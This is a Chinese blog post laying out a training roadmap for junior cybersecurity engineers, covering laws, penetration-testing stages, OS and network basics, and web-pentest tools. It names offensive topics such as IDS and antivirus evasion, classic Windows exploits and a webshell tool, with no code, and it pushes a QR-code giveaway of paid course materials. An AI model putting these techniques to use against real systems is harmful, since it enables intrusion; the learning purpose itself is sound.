企业级:初级网络安全工程师

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。

②学习网络安全相关法律法规。

③网络安全运营的概念。

④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准

②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking

③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察

④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令

②Kali Linux系统常见功能和命令

③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构

②网络通信原理、OSI模型、数据 转发流程

③常见协议解析(HTTP、TCP/IP、ARP等)

④网络攻击技术与网络安全防御技术

⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础

②SQL语言基础

③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介 ②OWASP Top10 ③Web漏洞扫描工具 ④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

img

以上学习路线附全套教程由我个人支付上万元在培训机构付费购买,如有朋友需要扫码下方二维码免费获取,无偿分享!

一些我收集的网络安全自学入门书籍

img

一些我自己买的、其他平台白嫖不到的视频教程:

在这里插入图片描述

如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

进阶:脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

高级网络安全工程师

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下。
img

学习资料

4.面试题

当你学完整个教程最终目的还是为了就业,那么这一套各个大厂的内部面试题汇总你一定没理由错过,对吗?

5.其他

最后还有小白最需要的安装包和源码等更多资源,这里就不一一展示了,需要的小伙伴可以看文中内容免费领取全套合集大礼包

小讯
上一篇 2025-03-11 20:42
下一篇 2025-03-09 20:11

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/23394.html